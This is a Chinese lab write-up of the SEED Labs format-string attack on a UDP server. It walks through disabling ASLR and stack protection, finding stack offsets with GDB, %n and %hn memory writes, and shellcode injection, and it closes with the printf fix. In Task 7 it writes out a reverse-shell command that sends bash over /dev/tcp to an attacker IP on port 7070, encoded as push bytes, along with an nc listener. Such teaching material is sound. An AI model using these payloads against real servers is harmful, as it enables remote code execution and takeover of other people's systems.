SEEDLAB - FORMAT_STRING_SERVER 格式化字符串攻击
介绍
C语言中printf()函数的作用是根据字符串的格式输出字符串。它的第一个参数称为format string,它定义了字符串应该如何格式化。格式字符串使用由%字符标记的占位符为printf()函数的输出填充数据。格式字符串的使用不仅限于printf()函数,许多其他函数,如sprintf()、fprintf()和scanf(),也使用格式字符串。有些程序允许用户以格式字符串的形式提供全部或部分内容。如果这些内容没有被清除,恶意用户可以利用这个机会让程序运行任意代码。这样的问题称为格式字符串漏洞。
Task1:运行程序,了解程序的主要作用。
实验中给出的是一个具有格式化字符串漏洞的程序server.c:
程序执行时,会打开9090作为socket端口接收UDP包,并将其中的内容打印出来,其第29行存在格式化字符串漏洞。
运行代码:
使用SEED ubuntu虚拟机进行重叠实验,首先要关闭一些针对此攻击的防御机制来简化实验:
-
地址空间随机化(Address Space Layout Randomization):使用sudo sysctl -wkernel.randomize_va_space=0关闭ASLR。
-
StackGuard保护方案:GCC编译器实现了一个被称为“ Stack Guard”的安全机制的防御机制重叠攻击。所以在编译漏洞程序时加上-fno-stack-protector参数来关闭该机制。
-
不可执行的堆栈:Ubuntu曾经允许栈执行,但是现在程序必须声明栈是否允许执行。内核和链接器检查程序头的标志来判断是否允许栈被执行。GCC在模式情况下设置栈不可执行,因此需要在编译时加入-z execstack参数来允许栈执行。
具体步骤:
- 关闭ASLR:sudo sysctl -w kernel.randomize_va_space=0
- 编译:gcc -g -z execstack -fno-stack-protector -o server server.c
- 使用sudo su进入root用户:由于之后需要获取root shell,因此建议Task1开始,在server端使用sudo su进入root用户;否则,因为不同的uid会被分配不同的堆栈空间,在普通用户下的payload将无法在root之下被使用
- 运行程序:./server
- 与程序交互:ctrl +shift+t开启一个新终端,并输入nc -u 127.0.0.1 9090进行连接,输入交互内容,可以看到原窗口将输入的内容输出
- 关闭程序:ctrl+c退出连接
Task2:理解栈的布局。
找出下图①、②、③的内存地址 & 1和3的偏移是多少
1.根据task1的运行图,可以看到①的内存地址即为0xbfffeebc,ebp的地址为0xbfffee38
2.计算②、③的地址:
利用GDB调试:gdb server,(要注意GDB中数据与直接运行是的数据并不一样,GDB调试主要是为了让我们找到数据间的关系)
查看main()的汇编代码:disas main
如上图,0x08048747为call myprintf后的地址,既是返回地址。
下断点 b myprintf,r 运行
使用python来实现一个有效载荷并交互,来打印栈中的内容:
可以看到在gdb调试中,①的地址为0xbfffee7c,msg也指向该地址
i frame:查看当前程序栈的信息
可以看到,返回地址在内存地址:0xbfffedfc 处,ebp地址为0xbfffedf8,即返回地址为ebp + 4,由于程序会打印出ebp的值,所以在实际运行时我们便能知道②返回地址的位置为ebp + 4,即为0xbfffee38+4 = 0xbfffee3c。
继续单步运行程序:n
我们的载荷以AAAA为标志,发现AAAA到41414141的距离为66,即格式化字符串是在栈上的第67个参数。
查看内存信息:x /80xw $sp,
其中0xbfffedf4为格式化字符串format string的地址,即③的地址为ebp-4:0xbfffee34,0xbfffee00为msg的地址,它们都指向0xbfffee7c,所以①和③的偏移为:0x88。
Task3: 使程序崩溃。
使程序崩溃的一个可行的思路是直接篡改掉myprintf的返回地址,让其退出异常就行了。在上面的任务中我们可以得到ebp的地址为0xbfffee38,返回地址为0xbfffee3c,格式化字符串为栈上第67个参数,因此构造如下的payload:
因为是Little-Endian,所以前面的返回地址需要写作:\x3c\xee\xff\xbf,%67$n可以简单理解为程序会向前寻找到第67个参数,并写入已经输出的字节个数:4(即\x3c\xee\xff\xbf),在栈中寻找到第67个参数自然会找到我们输入的返回地址的值,因而可以将返回地址修改为4,这显然会导致segment fault:
Task4: 打印服务器程序的内存中的内容。
Task 4.A: Stack Data:根据前面,我们计算出格式化字符串为第67个参数,因此需要67个%x既可以打印出输入的前四个字节:
Task 4.B: Heap Data:根据程序的输出我们知道secret的地址为0x080487d0,使用%s即可读取:
Task5:改变服务器程序的内存。
Task 5.A: Change the value to a different value,修改target的值为任意值,target的地址为:0x0804a040,方法与task3一致,将该值修改为4:
Task 5.B: Change the value to 0x500:这里我们需要定向修改,因此必须输出额外的字符作为填充。这里我们插入了%1276x(1276 = 0x4FC = 0x500 - 0x4),程序会把输出的值强制扩展到1276位
Task 5.C: Change the value to 0xFF990000:
这里需要有两点注意,第一点是:
当我们需要把内存中的某个值修改为一个非常大的数时,如果直接使用%n写入的话,那么需要提前输出数量巨大的字符,这会消耗非常多的时间,因而,如果我们希望改写一个地址,最好使用%hn,他一次写入两个字节而非四个,此外还有%hhn,一次写入一个字节
于是,我们试图向0x0804a040和0x0804a042中分别写入0x0000和0xFF99,此时问题出现了:当我们需要把内存中的某个值修改为一个非常小的数时,因为我们在前面必须输出一些字符以确定修改的地址,那么看上去,我们所能修改的值看上去是有下界的(比如在这里,看上去我们不能实现小于8的值的写入),但是实际上,我们可以通过溢出来解决这个问题——因为我们只写两个字节,所以0x0000和0x10000的效果是一样的,因此高低地址要填充的字节数可以如下计算:
低地址 : low_adr - 8 if low_adr > 8 else low_adr + 0x10000 - 8 = 65528
高地址 : high_adr - low_adr if high_adr > low_adr else high_adr + 0x10000 - low_adr = 65433
Task6:向服务器程序注入恶意代码。
由于给出了shellcode了,我们需要做的事情非常简单:
- 构建payload,将shellcode写入内存
- 修改返回地址为我们shellcode的起始地址
shellcode之前,可以添加适量的nop(也就是0x90),这样即便我们没有成功跳转到shellcode的起始地址,跳转到nop上也可以顺利进入shellcode,提高我们的容错率。
顺带提一下,保证push后面的是四个字节的内容,不要手贱删空格,不然后面的指令就全错了。
因为可以需要添加较多的shellcode,我们可以写一个简单的python脚本来输出payload:
其中shellcode的地址基于input的地址,由于该shellcode的作用是“/bin/bash -c ‘/bin/rm /tmp/myfile’”,即删除tmp文件下的myfile文件,由于tmp文件夹下不存在该文件,会出现如下报错即成功:
Task 7: Getting a Reverse Shell
只需要将上面提到的“/bin/rm /tmp/myfile”修改为”/bin/bash -i > /dev/tcp/10.0.2.5/7070 0<&1 2>&1″字符串即可,同时注意每次入栈需为4个字节,按顺序编写就能得到下面的代码。
\x682>&1\x68<&1 \x6870 0\x681/70\x680.0.\x68127.\x68tcp/\x68dev/\x68 > /\x68h -i\x68/bas\x68/bin
要获得反向shell,我们首先需要在攻击机器上运行TCP服务器。此服务器等待我们的恶意代码从受害服务器机器回调。下面的nc命令创建一个监听端口7070的TCP服务器:nc -l 7070 -v
Task 8: Fix the Problem
只要把printf(s)换成printf("%s", s),即可消除格式化字符串漏洞。